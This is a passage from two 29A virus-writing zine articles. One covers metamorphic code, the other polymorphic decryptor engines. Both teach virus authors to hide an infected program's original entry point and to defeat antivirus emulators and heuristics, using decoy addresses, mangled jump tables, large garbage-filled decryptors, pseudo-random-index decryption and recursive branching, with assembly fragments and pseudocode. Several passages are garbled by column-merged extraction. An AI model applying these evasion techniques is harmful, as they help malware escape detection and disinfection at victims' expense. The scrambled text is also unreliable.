Second step: actual code mutation Here you need to take care of the instruction length. As you noticed I choosed randomly the size for a place to 20 bytes (btw: you may have different place sizes). This means that you cannot put an instruction or group of instructions there longer than 20 bytes, because otherwise they

will overwrite the code that follows. Let's return to our instruction here: i1) mov [ebp+Oldeip], eax ret Let me be imaginative and create other groups of instruction that do the same thing: i2) push [ebp+Oldeip] pop eax ret i3) push edx lea edx, Oldeip add edx, ebp mov [edx], eax pop edx ret i3) push eax lea eax, [ebp+Oldeip-1] inc eax pop [eax] ret Now, your random number generator will choose one of the above instruction and will simply fill in it's place. What does this bring? It makes it even harder for the automatic scanner (provided that it can look up all the places) to know which address are you addressing (oldeip1, 2, etc...).

ÛßßßßßßßßßßßßÛÍ» Û Briefing Û º ÛÜÜÜÜÜÜÜÜÜÜÜÜÛ º ÈÍÍÍÍÍÍÍÍÍÍÍÍͼ For generate: the moment let's take a break and see what all the above can

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ call placeX ³ ÀÄÄÄÄÄÄÂÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄ¿ ³ ³ ³ ³ ³ ³ ³ ³ ³ US US US US US US US US ÚÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄ¿ ³place1³³place2³³place3³³place4³³place5³³place6³³place7³³place8³³place9³ ÀÄÄÄÂÄÄÙÀÄÄÄÂÄÄÙÀÄÄÄÂÄÄÙÀÄÄÄÂÄÄÙÀÄÄÄÂÄÄÙÀÄÄÄÂÄÄÙÀÄÄÄÂÄÄÙÀÄÄÄÂÄÄÙÀÄÄÄÂÄÄÙ ÀÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÙ US ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄ¿ ³ i1 ³³ i2 ³³ i3 ³³ i4 ³ ÀÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ US ÚÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÁÄÄÄÄÄ¿ÚÄÄÄÄÁÄÄÄÄÄ¿ÚÄÄÄÄÄÁÄÄÄÄ¿ÚÄÄÄÄÄÁÄÄÄÄ¿ÚÄÄÄÄÄÁÄÄÄÄ¿ ³ Address1 ³³ Address2 ³³ Address3 ³³ Address4 ³³ Address5 ³ ÀÄÄÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÄÄÄÙ

US

Basically any route that goes downward can be generated by the metamorphic process (for example call to place5, with instruction set i1 that accesses address Address5). Almost all places and Addresses should be used, each one for a different instruction. The Instruction set should be wider because for different instruction we must metamorph the specific code. But the places and the addresses can be common to all instructions. Of course, I don't have to say that the address of the places and of the addresses should be as mangled as possible inside the real code.

ÛßßßßßßßßßßßßÛÍ» Û Advanced Û º ÛÜÜÜÜÜÜÜÜÜÜÜÜÛ º ÈÍÍÍÍÍÍÍÍÍÍÍÍͼ Now let's move to a deeper thing. Imagine that there exists a really, really masochistic person who realised the way your code behaves and he wants to find all the addresses where your code stores the EIP (in order to properly disinfect the victims). He could generate for example 500 samples of your code and have 10 people analyze them. It wouldn't be very hard, all they would need would be a table to be filled in with the offsets for the places, addresses and where to look-up the address inside the instruction. Do you think that all the situations would be met in such many generations? Sure, if you do not use a smart slow metamorphism. This kind of slow metamorphism would mean this: each of the three variables (place, address and instruction set) should be changed at different moments, once a counter passed a value of 20. So, every 20 generations the place would change. Every 20 generations the address will change, etc. This assures us that at least 20 generations something wouldn't change. This means that to get all the 10 possibilities for the place at least 200 generations should be created and everytime the random number should generate a different number... which is almost impossible. 200+ 200+ 200, that means 600 generations and with the assumption that the randomizer generates exactly what you want. I think in 6000 generations the conditions should be hardly met. To analyze 6000 generations is... well, at least suicidal... To add even more call "Madness Jump Table". complexness to this one might use an invention I

Let's assume that you made your code metamorphize the instruction: mov [ebp+OldEip], eax into a "call place", with imagine that this instruction will times only as decoy). It wouldn't call to place. The use of a Madness Here goes: instruction1: instruction2: instruction3: instruction4: instruction5: treeEntry1: treeEntry2: treeEntry3: treeEntry4: call call call call call treeEntry1 treeEntry2 treeEntry3 treeEntry4 treeEntry5 all the links presented above. And let's appear 5 times in your code (maybe a few be very nice to encode it everytime by a Jump Table would solve this.

jmp jmp jmp jmp

subEntry11 subEntry12 subEntry13 subEntry14 - these are equal

treeEntry5: jmp subEntry14 / subEntry11: subEntry12: subEntry13: subEntry14: jmp jmp jmp jmp subEntry21 subEntry22 subEntry23 - these are equal subEntry23 /

subEntry21: jmp subEntry31 subEntry22: jmp subEntry32 - these are equal subEntry23: jmp subEntry32 / subEntry31: jmp subEntry41 subEntry32: jmp subEntry41 subEntry41: jmp place

Ok, let's trace the instruction3: treeEntry3-> subEntry13-> subEntry23-> subEntry32-> subEntry41-> place No matter what instruction you start with, you wind up in the same adress: place (note that the call place was replaced by a jmp place, because the call is already done from the beginning and we don't want two addresses on the stack). Now, please look carefully at the above table. Imagine that in each tree block you mangle the left side (the jumps) between them completely random. Does anything happen? No, because anyway, the trace will still lead to the same place. But you will have 5 instructions that will jump each through 6 everytime different jump places, everytime reaching a different place, where a diferent set of instructions is applied in order to use a value which is stored in a different place, which is absolutely necessary for the run of the program... Did you compile what I just said? Will this decrease the speed of your code? Not at all... Will it increase it's size. Sure, a little but not so much. 20 jumps and call in total means 100 bytes, plus 20 bytes per instruction set (provided we have 10 instruction sets), gives another 200. So, a total of 300 bytes added to your code as functional side. Plus the additional place took by the address storage and instruction sets storage. Of course, as I said, the metamorphism should only be used in places where you really, really need to make the data hard to be understood and reached, because too much metamorphism could lead to huge executables and no actual substance, not to mention your additional useless work.

ÛßßßßßßßßßßßßÛÍ» Û Using it Û º ÛÜÜÜÜÜÜÜÜÜÜÜÜÛ º ÈÍÍÍÍÍÍÍÍÍÍÍÍͼ Where to apply? Let me give you a few hints on where I think metamorphism should be applied. First of all, I assume you work on a self relocating code (see an example in Win32.Thunderpick and Win32.Rammstein); in these type a part of the original code is moved someplace at the end of the file encrypted, as well as the rest of original code. The virus inserts in the freed place and when it finishes the job it decrypts the code and puts it back. This is needed because otherwise some smart AV's could find this way : load the infected sample as a debugee process, locate your seh handler (if any) and

find a way to force it to return to host. Then monitor the address of the return inside the code section and so the original entrypoint is disclosed. By placing yourself over the same area where the original entrypoint was (as Rammstein do) the av software cannot make the assumption that the eip will somehow "escape" that area and by jumping some very far away it means that that is the original entrypoint. To get the original entrypoint it should either trace the entire execution, which is dangerous for it and almost impossible, or to scan the code for values. And here comes our metamorphic instructions. So, let's see where should the metamorphic paradigm apply (I just looove this kind of diryt talking... ;-): 1. 2. 3. 4. original original original original entrypoint code hunk address code encryption key code hunk length engine to hide is it!! You do and so on. You them!

If you are smart enough to create such a metamorphic the above things and the instructions that access them, this not need to metamorph things like ordinary math instructions have to phocus on the important instructions and metamorphize

ÛßßßßßßßßßßßßßÛÍ» Û Some tips Û º ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÛ º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Additional stealthing tips As I said you might want to create a dedicated set of addresses for each of the metamorphized concepts (e.g. oldEip, code hunk address, etc.). However, in the light of the above techniques, only one of the multiple addresses will be actually used while the rest should be only for decoy. To make it perfect you should not leave under any circumstances those values 0. This would be a fatal mistake. If the av locates all the addresses all the rest in our algorithm is useless, because it will consider the one that is not equal to 0. Also, you should not at all put there random values. Why? An inteligent av software could locate the actual eip from a set of many values just by checking which is bigger then the RVA of the code section and smaller than the RVA+the raw size. To solve this, simply make your random number generator generate small positive numbers, negate them if you want (another random assumption) and add those randoms to the original eip. In this way all the addresses will have very similar values going around the original eip rva. Renders all assumptions to null... To optimize the things a little bit: do not store the instruction sets someplace and just move them to the place at metamorphization. Just create the places with the instructions already there and when you want to modify just exchange two of them between them. Or everytime you want to mutate just exchange all of them between them randomly. How to place all these infos and not get lost into your own code? This implies that you know exactly what you start from and you put everything on paper. Then, the Madness Jump Table offers a very good place for data hidding. Design the table and then put the addresses between the jumps. You might even insert some decoy there (like 0FFh prefixes before the jumps to make the compiled code look horible ;-). Encrypt very well the core of the metamorphic engine. For this I suggest a non-linear algorithm with multiple passes (like an endless loop). Inside the metamorphic engine use address decoy. I will not enter in details

with this technique, I will only present it briefly: Instead of saying: mov [ebp+offset metamorph1], ebx say: mov edx, offset metamorph1 ... mov eax, 12 ... sub ebp, 24 ...... mov [ebp+eax*2+edx], ebx

In this way, by disassembling your code it would be much harder for the analyzer to understand what you thought there. The last instruction might appear many times inside the code.

ÛßßßßßßßßßßßßßßßÛÍ» Û How to code Û º ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ The components of the metamorphic engine

1.The 2.The 3.The 4.The

address generator instruction filler place filler jump table mangler

1. The address generator This is the part that moves the data from one address to another. It requires a table like this: AddressTable: Ahunk1: size1 = _addr11 _addr12 ... _addr1x Ahunk2: size2 = _addr21 _addr22 ... _addr2y ... AhunkN ... ,where each hunk is used for a specific value (like oldEip or code address), and each addressAB represents possible places inside the data area where the actual value can be stored. The engine will parse then each hunk, given it's size, go at each y dd offset address21 dd offset address22 dd offset address2y x dd offset address11 dd offset address12 dd offset address1x

address (aligned with the delta handle of course) and fill it with either a random value, or the real value, as it decides. Just when the address for the real value is decided, the instruction filler should be called directly to prevent future passes over the tables. The instruction filler tells the instruction to address on the specific address where the actual data is placed. 2. The instruction filler This one also needs a table, like this: InstructionTable: Ihunk1: __size = a _instr11 dd offset instruction11 _byteoffset11 = 3 ... ... ,where each hunk is correspondant to the hunks above. Each instructionAB represents the address of the instruction that wants to use a value (a virtual mov [ebp+oldEip], eax for example), and byteoffset represents at what offset should the addres s of the data be placed. For example in this case: instruction11: push edx mov edx, [ebp+oldEip] mov [edx], eax pop edx the first instruction is 1 byte long and the second is 6 bytes long, and the address of oldEip is stored on the fourth byte starting from the instruction11 address. You can simply compute these values by entering TurboDebugger, typing the instructions and instead of oldEip put 8888888h and see on what byte does it start. This part of the engine receives the address of the data from the address generator. It will then go at each instruction's offset and fill in at the proper byte offset the address it received. Then it will choose one of the instructions and pass it's number to the place filler.

3. The place filler This part doesn't need another table. It will simply mangle the instruction sets between them as held in the InstructionTable table, and for the instruction to be executed (as received from the instruction filler) it will pass this value to the jump table filler. 4. Jump table filler The jump table filler simply mangles between them the jumps in each jump block (look above) and then replaces the 'jmp place' instruction with the proper jump to the address it received from the place filler (the instruction to be executed). Then, for each caller it will choose a random entry into the jump table tree and fill it in using this table: FinalTable: Fhunk1: ____size = 5 _call11 db offset _caller11

...

All this instruction:

been

set up, your code will have somewhere inside it this

_caller11: call StoreEipTree The store eip jump table tree will guide the call through the random tree. It will finally reach at a proc which will hold one of the many instruction sets you prepared to put a value in [ebp+oldEip], where the oldEip address will be one of the many places you have to store this value. As you can see, it is very easy to understand how it works, as it builds up the metamorphic code, but it is very difficult to understand how if you only have the disassembly and a bunch of (encrypted) tables. Also note that using the above way, all data can still be metamorphized again and again. I wrote a very simplistic metamorphic demo to help you out. It simply applies the above things on 3 instructions 5 times. After the metamorphic engine acts once it calls the instructions so you can trace through the code and see how it changes bu t still do the same thing!!

ÛßßßßßßßßßßßßßßÛÍ» Û Final word Û º ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Well, at the end of another tutorial I feel I learned more already. Actually, this tutorial was thought as it was written. I do hope you enjoyed it too and I am very eager to hear more and more ideas on this issue so that we can improve it more and more. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Lord Julus/29A (Mar.2000) ³Û ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

ÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ ÍÍÍÍËÍÍÍØÍÍÍÍÍÍÍÍÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍÍÍÍÍÍÍÍÍØÍÍÍËÍÍÍÍ º ³ ÚÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄ¿ ³ º º ÃÄÄÄÄÄÄÄ´ Advanced polymorphic engine construction ÃÄÄÄÄÄÄÄ´ º º ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ º ÈÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍͼ ³ ÚÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄÐÄÄ¿ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ by ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ The Mental Driller / 29A ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

This article is assumed upon a basis on polymorphic engines construction, so you need an adquired good knowledge about decryptor generators and its construction (it's not for newbies! ;) I wrote this for win32 engines. I'm not very versated in Linux/Unix virusing, but modifying some words on this article (and some points in the index) it can be extrapolated to engines under these systems. Ú---úú . | Index | ` úú--ÄÙ 0. Some comments 1. Making more complex polymorphic engines 1.1 Size of decryptors 1.2 Algorithmical applications 1.2.1 PRIDE technology 1.2.2 Branching technology 1.3 Internal recursivity 2. Don't give a chance to AVs 2.1 Coherent decryptor structures 2.2 Opcodes to avoid 3. Advanced garbage generation 3.1 Memory accesses 3.2 API calls 3.3 Recursive garbage functions 4. Last words ÚÄÄÄÄÄÄ---úú . | 0. Some Comments | ` úú--ÄÄÄÄÄÄÄÙ This article is made for those who made its polymorphic engine and they want to improve their knowledge and their techniques, making a better polymorphic engine. I have to advice that the techniques I'm going to explain are very time consumming (an error in the coding, being little or not, can generate huge errors that aren't easy to trace back, or little errors in the code generation that can pop up in the least expected moment). Well, so let's on. I've tried to make both organized article and clear explanations, but sometimes it can be a little hard to understand. Well, considering that I'm not an expert on article writing, I've done what I could ;).

ÚÄÄÄÄÄÄ---úú . | 1. Making more complex polymorphic engines | ` úú--ÄÄÄÄÄÄÄÙ 1.1 Size of decryptors ---------------------Many people believe nowadays in the (old) advise of virus coding: you have to

code them little. This advise was valid while there were 40 Mb harddisks and no Pentiums+ (or similars), but now this fact is obsolete. An average user has now a huge harddisk (2+ Gb) and s/he don't know the real free space of his/her disk due to the Windblows swap file. Then, we can make a huge virus (10 Kb or more) without being noticed at all. We can apply this to decryptors, then. Why we can't generate a 4 Kb decryptor? We can, and moreover, we are nearly obligated to do it (a 100 bytes decryptor isn't a challenge to any nowadays AV emulator). But we have to have a GOOD garbage generator, since a single instruction size is 3 or 4 bytes as an average, which are about some thousands of instructions in a big decryptor, which can make easier the AVers task if they decide to detect our virus by algorithmical approaches or heuristical techniques. So, we have to code a good garbage generator with quite a lot of chances. Other thing that we have in favour of big decryptors is the impossibility for an emulator to determine in a few instructions if it's a decryptor or not, forcing it to emulate deeply. 1 Kb of garbage before starting the decryption should be enough, but you have to thing that every time processors are better (faster, cheaper, etc. etc.) so emulators too. Garbage is executed very fast upon normal execution, but it can take a good while upon an emulator. The more garbage you put, the more time an emulator needs and the less possibilities the emulator reach the decrypted virus, always you put coherent garbage to avoid the heuristic detections of "strange" instruction using, and also you have to mantain a good balance between quantity and quality of code generation (putting 20 Kb of very complex garbage can slow the initial execution of the application, noticing the user there is something unusual on his/her system). 1.2 Algorithmical applications -----------------------------When possible, avoid linear decryption. This is valid for both decryption and looping. Although we have a 10 Kb decryptor, if we make a main loop (easily detectable by an emulator) and we access consecutively to the encrypted data when decrypting it, it's stupid to make very complex coding, because we have an algorithmical clue for detection that many emulators use to defeat complex decryptors (they only put a breakpoint after the big loop and wait until that part is decrypted). I've developed two techniques that are useful to avoid this situation: PRIDE and Branching. 1.2.1 PRIDE Technology ---------------------The name comes from Pseudo-Random Index DEcryption, and it was an idea that I had from the beginning, when I began to code poly engines. Due to the lack of information about this, I had to research this subject by myself, and now that's what I bring to you. The idea is that a "normal" program doesn't make normally a sequential read/write of a memory zone, which is being made by the decryptors of all polymorphic virus. There are some techniques that try to avoid that in a certain way (look Zhengxi's engine(29A#1) or MeDriPolEn in Squatter(29A#3)), like adding some bytes to leave "holes" and then do several decryptions of the same code but adding each time a different number, leaving the code full decrypted. This particularity is also detected by AVs emulators. The only way to hide this is to make an "in-appearance" random accessing to that memory, to cheat the emulator and force it to determine that they are part of a normal memory access of an application, and that's what I researched a lot until I found this formula, very easy to do polymorphically. It's adapted to byte-to-byte decryption, but I explained how to adapt it to others down. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³Random(Number) symbolizes a random number between 0 and Number-1 (just like³ ³ the C function) ³

³ ³ ³Encrypted_Data_Size = The size of encrypted part, rounded to the next power³ ³ of 2 (I explain this later) ³ ³InitialValue = Random(Encrypted_Data_Size) ³ ³ ³ ³ The formula ³ ³ ----------³ ³ Register1 = Random(Encrypted_Data_Size) ³ ³ Register2 = InitialValue ³ ³ Loop_Label: ³ ³ Decrypt [(Register1 XOR Register2)+Begin_Address_Of_Encrypted_Data] ³ ³ Register1 += Random (Encrypted_Data_Size) AND -2 ³ ³ ÀÄÄÄÄÄ> Take care with this one! ³ ³ Register1 = Register1 MOD Encrypted_Data_Size ³ ³ Register2++ ³ ³ Register2 = Register2 MOD Encrypted_Data_Size ³ ³ if Register2!=InitialValue GOTO Loop_Label ³ ³ GOTO Begin_Address_Of_Encrypted_Data ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ That's it! Very short, very easy to code, and very randomized. Let's see it by parts, and I'll explain the mathematical aspects of the formula (why it's like this and no like other): The first thing to consider is the fact that the encrypted part must be a pow of 2. If you look at the formula, you can see that the generated decryption address came from a XOR between two random numbers. The fact is that a XOR (unlike ADD, SUB, etc.) never modifies a bit higher than the highest bit of the two numbers, which allows us to know always the top limit of the resulting number (always power of 2). Now, the used registers: Register1 is used as a modifier for the Register2, and it's a pseudo-random number every time, due to the fact that we generate its initial value randomly and we add to it a random number every loop. The work of this formula is done by the Register2, and if you look at it, you can see that Register2 is no other thing than a counter, so you can increase it or decrease it, it's up to you (or up to the engine :). Just keep it inside the limits (between 0 and Encrypted_Data_Size). Now the real revolution of this formula: I find out, after many tests, that when you have a counter (Register2) and you XOR a random number to it (always inside the limits and that, I'm not going to repeat this anymore :) you get a different number, and if you add to the XORing value a little special random number and increase the counter, the next time you do the XOR to the counter you will get another different number. When you have completed all the count sequence (from 0 till NumberPowerOf2), you get a sequence of random numbers which touch all the numbers from 0 till NumberPowerOf2, but without anyone repeated! It's like making a permutation of a sequence, but you don't have to store any vector nor generate any data. Since the formula randomizes all its numbers, it doesn't vary very much from the "standard" decryptor. I referred sometimes to a "special random number", which is the one that you have to XOR to the counter. This one is special because you have to keep it in a "level" down than the other random numbers. I explain this, and please keep attention to it, because is very important: ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º When you use this technology, most random numbers are from 0 until the º º size of the data to decrypt (pow of 2). There's a particularity in the º º formula that it's necessary for the correct development and returning º º reliable values: you must "align" the numbers (so, the result of º º Random(Encrypted_Data_Size) must be multiple of 1 if we decrypt by byte º º ptr (nothing special here, then), be multiple of 2 if we decrypt by word º

º ptr, and multiple of 4 if we decrypt by dword ptr). But the number that º º we add to the XORing value is slightly special because it has to be º º aligned in an upper grade, I mean, if you use byte ptr for decryption, º º that number must be multiple of 2, multiple of 4 for word ptr and of 8 º º for dword ptr. That is easily achieved by getting, before coding the º º opcode of the instruction, the random number to add, and then doing an º º instruction: º º AND Value,Encrypted_Data_Size-2 (for bytes), or º º AND Value,Encrypted_Data_Size-4 (for words), etc. º º (in the engine, not in the decryptor!). º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Just take this into account because, if not, the decrypted part will be touched two times, leaving it corrupted (I found out this after becoming mad and furious after several hours of seeing a correct engine and an incorrect decryption, and after coding thousands of little programs to test that :). This method, although powerful, can be defeated with the detection of the code loops, so we must do anything to break the linearity of the decryptor execution. The easiest way is to put some conditional jumps in the middle, but it seems that the emulators detect which zone of code is more frequently executed (or something like that), so I thought about it and created the next technique: 1.2.1 Branching Technology -------------------------This one, combined with PRIDE (it seems a joke :P ) will allow us to defeat normal emulators (at least until this date), and of course with the help of the normal polymorphism techniques and complex garbage generation. When you look at a legitimal application, you can see that it has many conditional jumps, followed by code, and the normal thing is that a portion of code isn't executed an ununderstandable number of times as a decryption loop does. We must break this, and the way can be this: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³First we have this arrays and values: ³ ³ ³ ³ArrayOfJumps dd N dup (0) ³ ³ArrayOfJumpsNdx dd 0 ³ ³JumpsToComplete dd N dup (0) ³ ³JumpsToCompleteNdx dd 0 ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ This is the beginning of the decryptor. This is the part when the ³ ³ ³ registers are setted to their starting value, and all things that ³ ³ ³ that we must put at the beginning. ³ ³ ³ ³ ³ ³ ³ ³ x First address stored into ArrayOfJumps ³ ³ ³ ³ ³ ³ Garbage ³ ³ ³ ³ ³ .ù*ù. Random conditional jump with a very random probability of jump ³ ³ ³ ³ Garbage ³ ³ x x 2nd and 3rd address stored into ArrayOfJumps ³ ³ ³ ³ Garbage ³ ³ .*. .*. Random conditional jumps ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ Four decryption algorithms that perform the same op. but with ³ ³ ³ ³ ³ ³ different code. ³ ³ ³ ³ ³ ³ ³

³ ³ ³ ³ ³ ³ ³ | | | | Final-of-decryption check ³ ³ R R R R Loop to continue decrypting (jump randomly to one of the addr. ³ ³ | | | | stored in ArrayOfJumps) ³ ³ ³ ³ ³ ³ Garbage ³ ³ | | | | ³ ³ V V V V Jump to decrypted virus ³ ³ ³ ³(This would be generated with 3 levels of recursivity. Just look down to see³ ³the explanation) ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ I think the technique is quite clear looking at the diagram, but I'll explain it in words: 1.  First step  ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ You must code a recursive function that I'm going to call "DoBranch". This function has to manage the coding as if it were a tree. Once in the engine, when you begin to construct a decryptor, you insert first the instructions that set our going-to-be-used registers to their operative value. Once you have this, and after generating some garbage, you call to "DoBranch". You must sure that the function, since it's recursive, is going to execute several times, so don't put fixed memory variables. Use stack or indexed variables, instead. 2.  Recursivity r0x!  ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ DoBranch takes the control, and the function doesn't return completely until the whole decryptor is finished. The function must know which level of recursivity is, so you have to put a variable that increases every time you enter into "DoBranch" (INC [RecursivityLevel] at the very beginning). Every time you return from the function you must decrease that variable. 3.  Save this address  ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Look if the recursivity level is the last one that we allow. If it is not, we store the actual instruction insertion address into our prepared set of variables: ArrayOfJumps+ArrayOfJumpsNdx, and we increase ArrayOfJumpsNdx. 4.  Interjumping code  ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ If you didn't arrive to the desired level of recursivity (yet), and after saving the actual address (point 3), generate garbage (a good amount of). When you decide that you have enough, then generate a random conditional jump. It must be very random, just like CMP Reg1,Reg2/JA xxx or similar, begin Reg1 and Reg2 garbage registers, if possible (the ones you put on garbage instructions). There is a huge set of possibilities (another very good one is TEST Reg,Value / J(N)Z xxx, being Value a number power of 2 - only one bit set). We must store then the address of the conditional jump we made, because we don't know yet to which address we have to jump, so we save this and later we'll calculate and complete this jumps. It's enough to push the address onto the stack. After saving this, we code this leave of the binary tree: you call "DoBranch" again, and when it returns... voil…! We have a complete branch coded, and of course the index of instruction insertion points to the place where the next branch will be. So, we pop the address that we pushed before, we calculate the distance between the actual insertion index and the saved address, and then we complete the conditional jump that the save address point at with that calculated

value. After this little operation, call "DoBranch" again, decrease [LevelOfRecursivity] and RET. 5.  Control the number of branches  ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ The number of branches created by this function is going to be 2^MaxRecursivityLevelAllowed, so take care, since this function can generate a huge decryptor without many coding (I recommend 3 or 4 levels of recursion, which would generate 8 or 16 branches). 6.  The last recursivity level allowed  ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ When you arrive to the last level of recursivity, then you code the decryption algorithm (just the decryption instruction, the index modification, the counter inc/decrementation, etc (all mixed with garbage) and all that. Make sure you are doing this very randomly, because you are coding this part 2^MaxRecursivityLevelAllowed times (usually 8 or 16), and if you code this very similar to the others, it's not polymorphism at all. When you arrive to the comparision/cond_jmp pair (the one which loops to continue decryption if the encrypted part isn't decrypted yet), you have to code the comparision and leave the jump uncompleted, since we must wait to the complete return of "DoBranch" to assure that all branches are coded. So, we store this address into the other prepared array, JumpsToComplete, just like we made with the ArrayOfJumps. Then insert some garbage, code the jump to the decrypted part and RET. 7.  The complete return of "DoBranch"  ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ After the return of the first call to DoBranch, we have to complete the jumps we stored in JumpsToComplete. This time we are going to use the two arrays that we constructed while coding all branches. All the power of the technique is based on this: 1) Take the first address in JumpsToComplete 2) Select randomly an address in ArrayOfJumps 3) Complete the address from JumpsToComplete with the other address, so we have finally a conditional jump to one place of the tree in a random way. 4) Do it with all the addresses in JumpsToComplete

